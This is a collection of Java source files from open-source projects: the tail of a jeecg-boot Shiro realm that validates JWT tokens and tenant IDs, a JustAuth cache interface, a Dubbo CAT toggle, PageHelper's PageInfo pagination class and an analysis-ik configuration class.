//System.out.println(roleSet.toString()); info.setRoles(roleSet); // 设置用户拥有的权限集合,比如“sys:role:add,sys:user:add” Set<String> permissionSet = commonApi.queryUserAuths(userId); info.addStringPermissions(permissionSet); //System.out.println(permissionSet); log.info("===============Shiro权限认证成功=============="); return info; } /** * 用户信息认证是在用户进行登录的时候进行验证(不存redis) * 也就是说验证用户输入的账号和密码是否正确,错误抛出异常 * * @param auth 用户登录的账号密码信息 * @return 返回封装了用户信息的 AuthenticationInfo 实例 * @throws AuthenticationException */ @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken auth) throws AuthenticationException { log.debug("===============Shiro身份认证开始============doGetAuthenticationInfo=========="); String token = (String) auth.getCredentials(); if (token == null) { HttpServletRequest req = SpringContextUtils.getHttpServletRequest(); log.info("————————身份认证失败——————————IP地址: "+ oConvertUtils.getIpAddrByRequest(req) +",URL:"+req.getRequestURI()); throw new AuthenticationException("token为空!"); } // 校验token有效性 LoginUser loginUser = null; try { loginUser = this.checkUserTokenIsEffect(token); } catch (AuthenticationException e) { JwtUtil.responseError(SpringContextUtils.getHttpServletResponse(),401,e.getMessage()); e.printStackTrace(); return null; } return new SimpleAuthenticationInfo(loginUser, token, getName()); } /** * 校验token的有效性 * * @param token */ public LoginUser checkUserTokenIsEffect(String token) throws AuthenticationException { // 解密获得username,用于和数据库进行对比 String username = JwtUtil.getUsername(token); if (username == null) { throw new AuthenticationException("token非法无效!"); } // 查询用户信息 log.debug("———校验token是否有效————checkUserTokenIsEffect——————— "+ token); LoginUser loginUser = TokenUtils.getLoginUser(username, commonApi, redisUtil); //LoginUser loginUser = commonApi.getUserByName(username); if (loginUser == null) { throw new AuthenticationException("用户不存在!"); } // 判断用户状态 if (loginUser.getStatus() != 1) { throw new AuthenticationException("账号已被锁定,请联系管理员!"); } // 校验token是否超时失效 & 或者账号密码是否错误 if (!jwtTokenRefresh(token, username, loginUser.getPassword())) { throw new AuthenticationException(CommonConstant.TOKEN_IS_INVALID_MSG); } //update-begin-author:taoyan date:20210609 for:校验用户的tenant_id和前端传过来的是否一致 String userTenantIds = loginUser.getRelTenantIds(); if(oConvertUtils.isNotEmpty(userTenantIds)){ String contextTenantId = TenantContext.getTenant(); log.debug("登录租户:" + contextTenantId); log.debug("用户拥有那些租户:" + userTenantIds); //登录用户无租户,前端header中租户ID值为 0 String str ="0"; if(oConvertUtils.isNotEmpty(contextTenantId) && !str.equals(contextTenantId)){ //update-begin-author:taoyan date:20211227 for: /issues/I4O14W 用户租户信息变更判断漏洞 String[] arr = userTenantIds.split(","); if(!oConvertUtils.isIn(contextTenantId, arr)){ boolean isAuthorization = false; //======================================================================== // 查询用户信息(如果租户不匹配从数据库中重新查询一次用户信息) String loginUserKey = CacheConstant.SYS_USERS_CACHE + "::" + username; redisUtil.del(loginUserKey); LoginUser loginUserFromDb = commonApi.getUserByName(username); if (oConvertUtils.isNotEmpty(loginUserFromDb.getRelTenantIds())) { String[] newArray = loginUserFromDb.getRelTenantIds().split(","); if (oConvertUtils.isIn(contextTenantId, newArray)) { isAuthorization = true; } } //======================================================================== //********************************************* if(!isAuthorization){ log.info("租户异常——登录租户:" + contextTenantId); log.info("租户异常——用户拥有租户组:" + userTenantIds); throw new AuthenticationException("登录租户授权变更,请重新登陆!"); } //********************************************* } //update-end-author:taoyan date:20211227 for: /issues/I4O14W 用户租户信息变更判断漏洞 } } //update-end-author:taoyan date:20210609 for:校验用户的tenant_id和前端传过来的是否一致 return loginUser; } /** * JWTToken刷新生命周期 (实现: 用户在线操作不掉线功能) * 1、登录成功后将用户的JWT生成的Token作为k、v存储到cache缓存里面(这时候k、v值一样),缓存有效期设置为Jwt有效时间的2倍 * 2、当该用户再次请求时,通过JWTFilter层层校验之后会进入到doGetAuthenticationInfo进行身份验证 * 3、当该用户这次请求jwt生成的token值已经超时,但该token对应cache中的k还是存在,则表示该用户一直在操作只是JWT的token失效了,程序会给token对应的k映射的v值重新生成JWTToken并覆盖v值,该缓存生命周期重新计算 * 4、当该用户这次请求jwt在生成的token值已经超时,并在cache中不存在对应的k,则表示该用户账户空闲超时,返回用户信息已失效,请重新登录。 * 注意: 前端请求Header中设置Authorization保持不变,校验有效性以缓存中的token为准。 * 用户过期时间 = Jwt有效时间 * 2。 * * @param userName * @param passWord * @return */ public boolean jwtTokenRefresh(String token, String userName, String passWord) { String cacheToken = String.valueOf(redisUtil.get(CommonConstant.PREFIX_USER_TOKEN + token)); if (oConvertUtils.isNotEmpty(cacheToken)) { // 校验token有效性 if (!JwtUtil.verify(cacheToken, userName, passWord)) { String newAuthorization = JwtUtil.sign(userName, passWord); // 设置超时时间 redisUtil.set(CommonConstant.PREFIX_USER_TOKEN + token, newAuthorization); redisUtil.expire(CommonConstant.PREFIX_USER_TOKEN + token, JwtUtil.EXPIRE_TIME *2 / 1000); log.debug("——————————用户在线操作,更新token保证不掉线—————————jwtTokenRefresh——————— "+ token); } //update-begin--Author:scott Date:20191005 for:解决每次请求,都重写redis中 token缓存问题 // else { // // 设置超时时间 // redisUtil.set(CommonConstant.PREFIX_USER_TOKEN + token, cacheToken); // redisUtil.expire(CommonConstant.PREFIX_USER_TOKEN + token, JwtUtil.EXPIRE_TIME / 1000); // } //update-end--Author:scott Date:20191005 for:解决每次请求,都重写redis中 token缓存问题 return true; } //redis中不存在此TOEKN,说明token非法返回false return false; } /** * 清除当前用户的权限认证缓存 * * @param principals 权限信息 */ @Override public void clearCache(PrincipalCollection principals) { super.clearCache(principals); } }
jeecgboot/jeecg-boot
jeecg-boot-base-core/src/main/java/org/jeecg/config/shiro/ShiroRealm.java
138
package me.zhyd.oauth.cache; /** * JustAuth缓存,用来缓存State * * @author yadong.zhang (yadong.zhang0415(a)gmail.com) * @since 1.9.3 */ public interface AuthCache { /** * 设置缓存 * * @param key 缓存KEY * @param value 缓存内容 */ void set(String key, String value); /** * 设置缓存,指定过期时间 * * @param key 缓存KEY * @param value 缓存内容 * @param timeout 指定缓存过期时间(毫秒) */ void set(String key, String value, long timeout); /** * 获取缓存 * * @param key 缓存KEY * @return 缓存内容 */ String get(String key); /** * 是否存在key,如果对应key的value值已过期,也返回false * * @param key 缓存KEY * @return true:存在key,并且value没过期;false:key不存在或者已过期 */ boolean containsKey(String key); /** * 清理过期的缓存 */ default void pruneCache() { } }
justauth/JustAuth
src/main/java/me/zhyd/oauth/cache/AuthCache.java
139
package net.dubboclub.catmonitor; import com.dianping.cat.Cat; import com.dianping.cat.log.CatLogger; /** * Created by bieber on 2015/11/16. */ public class DubboCat { private static boolean isEnable=true; /** * 禁用dubbo cat */ public static void disable(){ isEnable=false; } /** * 启用dubbo cat */ public static void enable(){ isEnable=true; } /** * 是否有效 * @return */ public static boolean isEnable(){ boolean isCatEnabled = false; try { isCatEnabled = Cat.getManager().isCatEnabled(); } catch (Throwable e) { CatLogger.getInstance().error("[DUBBO] Cat init error.", e); } return isCatEnabled && isEnable; } }
dianping/cat
integration/dubbo/src/main/java/net/dubboclub/catmonitor/DubboCat.java
140
/* * The MIT License (MIT) * * Copyright (c) 2014-2023 abel533@gmail.com * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.github.pagehelper; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.List; /** * 对Page<E>结果进行包装 * <p/> * 新增分页的多项属性,主要参考:http://bbs.csdn.net/topics/360010907 * * @author liuzh/abel533/isea533 * @version 3.3.0 * @since 3.2.2 * 项目地址 : http://git.oschina.net/free/Mybatis_PageHelper */ @SuppressWarnings({"rawtypes", "unchecked"}) public class PageInfo<T> extends PageSerializable<T> { public static final int DEFAULT_NAVIGATE_PAGES = 8; //private PageInfo EMPTY = new PageInfo(Collections.emptyList(), 0); /** * 当前页 */ private int pageNum; /** * 每页的数量 */ private int pageSize; /** * 当前页的数量 */ private int size; /** * 由于startRow和endRow不常用,这里说个具体的用法 * 可以在页面中"显示startRow到endRow 共size条数据" * 当前页面第一个元素在数据库中的行号 */ private long startRow; /** * 当前页面最后一个元素在数据库中的行号 */ private long endRow; /** * 总页数 */ private int pages; /** * 前一页 */ private int prePage; /** * 下一页 */ private int nextPage; /** * 是否为第一页 */ private boolean isFirstPage = false; /** * 是否为最后一页 */ private boolean isLastPage = false; /** * 是否有前一页 */ private boolean hasPreviousPage = false; /** * 是否有下一页 */ private boolean hasNextPage = false; /** * 导航页码数 */ private int navigatePages; /** * 所有导航页号 */ private int[] navigatepageNums; /** * 导航条上的第一页 */ private int navigateFirstPage; /** * 导航条上的最后一页 */ private int navigateLastPage; public PageInfo() { } /** * 包装Page对象 * * @param list */ public PageInfo(List<? extends T> list) { this(list, DEFAULT_NAVIGATE_PAGES); } /** * 包装Page对象 * * @param list page结果 * @param navigatePages 页码数量 */ public PageInfo(List<? extends T> list, int navigatePages) { super(list); if (list instanceof Page) { Page page = (Page) list; this.pageNum = page.getPageNum(); this.pageSize = page.getPageSize(); this.pages = page.getPages(); this.size = page.size(); //由于结果是>startRow的,所以实际的需要+1 if (this.size == 0) { this.startRow = 0; this.endRow = 0; } else { this.startRow = page.getStartRow() + 1; //计算实际的endRow(最后一页的时候特殊) this.endRow = this.startRow - 1 + this.size; } } else if (list instanceof Collection) { this.pageNum = 1; this.pageSize = list.size(); this.pages = this.pageSize > 0 ? 1 : 0; this.size = list.size(); this.startRow = 0; this.endRow = list.size() > 0 ? list.size() - 1 : 0; } if (list instanceof Collection) { calcByNavigatePages(navigatePages); } } public static <T> PageInfo<T> of(List<? extends T> list) { return new PageInfo<T>(list); } /** * 手动指定总记录数获取分页信息 * * @param total 总记录数 * @param list page结果 */ public static <T> PageInfo<T> of(long total, List<? extends T> list) { if (list instanceof Page) { Page page = (Page) list; page.setTotal(total); } return new PageInfo<T>(list); } public static <T> PageInfo<T> of(List<? extends T> list, int navigatePages) { return new PageInfo<T>(list, navigatePages); } /** * 返回一个空的 Pageinfo 对象 * * @return */ public static <T> PageInfo<T> emptyPageInfo() { return new PageInfo(Collections.emptyList(), 0); } public void calcByNavigatePages(int navigatePages) { setNavigatePages(navigatePages); //计算导航页 calcNavigatepageNums(); //计算前后页,第一页,最后一页 calcPage(); //判断页面边界 judgePageBoudary(); } /** * 计算导航页 */ private void calcNavigatepageNums() { //当总页数小于或等于导航页码数时 if (pages <= navigatePages) { navigatepageNums = new int[pages]; for (int i = 0; i < pages; i++) { navigatepageNums[i] = i + 1; } } else { //当总页数大于导航页码数时 navigatepageNums = new int[navigatePages]; int startNum = pageNum - navigatePages / 2; int endNum = pageNum + navigatePages / 2; if (startNum < 1) { startNum = 1; //(最前navigatePages页 for (int i = 0; i < navigatePages; i++) { navigatepageNums[i] = startNum++; } } else if (endNum > pages) { endNum = pages; //最后navigatePages页 for (int i = navigatePages - 1; i >= 0; i--) { navigatepageNums[i] = endNum--; } } else { //所有中间页 for (int i = 0; i < navigatePages; i++) { navigatepageNums[i] = startNum++; } } } } /** * 计算前后页,第一页,最后一页 */ private void calcPage() { if (navigatepageNums != null && navigatepageNums.length > 0) { navigateFirstPage = navigatepageNums[0]; navigateLastPage = navigatepageNums[navigatepageNums.length - 1]; if (pageNum > 1) { prePage = pageNum - 1; } if (pageNum < pages) { nextPage = pageNum + 1; } } } /** * 判定页面边界 */ private void judgePageBoudary() { isFirstPage = pageNum == 1; isLastPage = pageNum == pages || pages == 0; hasPreviousPage = pageNum > 1; hasNextPage = pageNum < pages; } /** * 数据对象转换 * * @param function 用以转换数据对象的函数 * @param <E> 目标类型 * @return 转换了对象类型的包装结果 */ public <E> PageInfo<E> convert(Page.Function<T, E> function) { List<E> list = new ArrayList<E>(this.list.size()); for (T t : this.list) { list.add(function.apply(t)); } PageInfo<E> newPageInfo = new PageInfo<>(list); newPageInfo.setPageNum(this.pageNum); newPageInfo.setPageSize(this.pageSize); newPageInfo.setSize(this.size); newPageInfo.setStartRow(this.startRow); newPageInfo.setEndRow(this.endRow); newPageInfo.setTotal(this.total); newPageInfo.setPages(this.pages); newPageInfo.setPrePage(this.prePage); newPageInfo.setNextPage(this.nextPage); newPageInfo.setIsFirstPage(this.isFirstPage); newPageInfo.setIsLastPage(this.isLastPage); newPageInfo.setHasPreviousPage(this.hasPreviousPage); newPageInfo.setHasNextPage(this.hasNextPage); newPageInfo.setNavigatePages(this.navigatePages); newPageInfo.setNavigateFirstPage(this.navigateFirstPage); newPageInfo.setNavigateLastPage(this.navigateLastPage); newPageInfo.setNavigatepageNums(this.navigatepageNums); return newPageInfo; } /** * 是否包含内容 */ public boolean hasContent() { return this.size > 0; } public int getPageNum() { return pageNum; } public void setPageNum(int pageNum) { this.pageNum = pageNum; } public int getPageSize() { return pageSize; } public void setPageSize(int pageSize) { this.pageSize = pageSize; } public int getSize() { return size; } public void setSize(int size) { this.size = size; } public long getStartRow() { return startRow; } public void setStartRow(long startRow) { this.startRow = startRow; } public long getEndRow() { return endRow; } public void setEndRow(long endRow) { this.endRow = endRow; } public int getPages() { return pages; } public void setPages(int pages) { this.pages = pages; } public int getPrePage() { return prePage; } public void setPrePage(int prePage) { this.prePage = prePage; } public int getNextPage() { return nextPage; } public void setNextPage(int nextPage) { this.nextPage = nextPage; } public boolean isIsFirstPage() { return isFirstPage; } public void setIsFirstPage(boolean isFirstPage) { this.isFirstPage = isFirstPage; } public boolean isIsLastPage() { return isLastPage; } public void setIsLastPage(boolean isLastPage) { this.isLastPage = isLastPage; } public boolean isHasPreviousPage() { return hasPreviousPage; } public void setHasPreviousPage(boolean hasPreviousPage) { this.hasPreviousPage = hasPreviousPage; } public boolean isHasNextPage() { return hasNextPage; } public void setHasNextPage(boolean hasNextPage) { this.hasNextPage = hasNextPage; } public int getNavigatePages() { return navigatePages; } public void setNavigatePages(int navigatePages) { this.navigatePages = navigatePages; } public int[] getNavigatepageNums() { return navigatepageNums; } public void setNavigatepageNums(int[] navigatepageNums) { this.navigatepageNums = navigatepageNums; } public int getNavigateFirstPage() { return navigateFirstPage; } public int getNavigateLastPage() { return navigateLastPage; } public void setNavigateFirstPage(int navigateFirstPage) { this.navigateFirstPage = navigateFirstPage; } public void setNavigateLastPage(int navigateLastPage) { this.navigateLastPage = navigateLastPage; } @Override public String toString() { final StringBuilder sb = new StringBuilder("PageInfo{"); sb.append("pageNum=").append(pageNum); sb.append(", pageSize=").append(pageSize); sb.append(", size=").append(size); sb.append(", startRow=").append(startRow); sb.append(", endRow=").append(endRow); sb.append(", total=").append(total); sb.append(", pages=").append(pages); sb.append(", list=").append(list); sb.append(", prePage=").append(prePage); sb.append(", nextPage=").append(nextPage); sb.append(", isFirstPage=").append(isFirstPage); sb.append(", isLastPage=").append(isLastPage); sb.append(", hasPreviousPage=").append(hasPreviousPage); sb.append(", hasNextPage=").append(hasNextPage); sb.append(", navigatePages=").append(navigatePages); sb.append(", navigateFirstPage=").append(navigateFirstPage); sb.append(", navigateLastPage=").append(navigateLastPage); sb.append(", navigatepageNums="); if (navigatepageNums == null) { sb.append("null"); } else { sb.append('['); for (int i = 0; i < navigatepageNums.length; ++i) { sb.append(i == 0 ? "" : ", ").append(navigatepageNums[i]); } sb.append(']'); } sb.append('}'); return sb.toString(); } }
pagehelper/Mybatis-PageHelper
src/main/java/com/github/pagehelper/PageInfo.java
141
package org.wltea.analyzer.cfg; import java.nio.file.Path; public abstract class Configuration { //是否启用智能分词 protected boolean useSmart = false; //是否启用远程词典加载 protected boolean enableRemoteDict = false; //是否启用小写处理 protected boolean enableLowercase = true; public Configuration() { } public abstract Path getConfDir(); public abstract Path getConfigInPluginDir(); public boolean isUseSmart() { return useSmart; } public Configuration setUseSmart(boolean useSmart) { this.useSmart = useSmart; return this; } public boolean isEnableRemoteDict() { return enableRemoteDict; } public boolean isEnableLowercase() { return enableLowercase; } public abstract Path getPath(String first, String... more); public void check(){} }
infinilabs/analysis-ik
core/src/main/java/org/wltea/analyzer/cfg/Configuration.java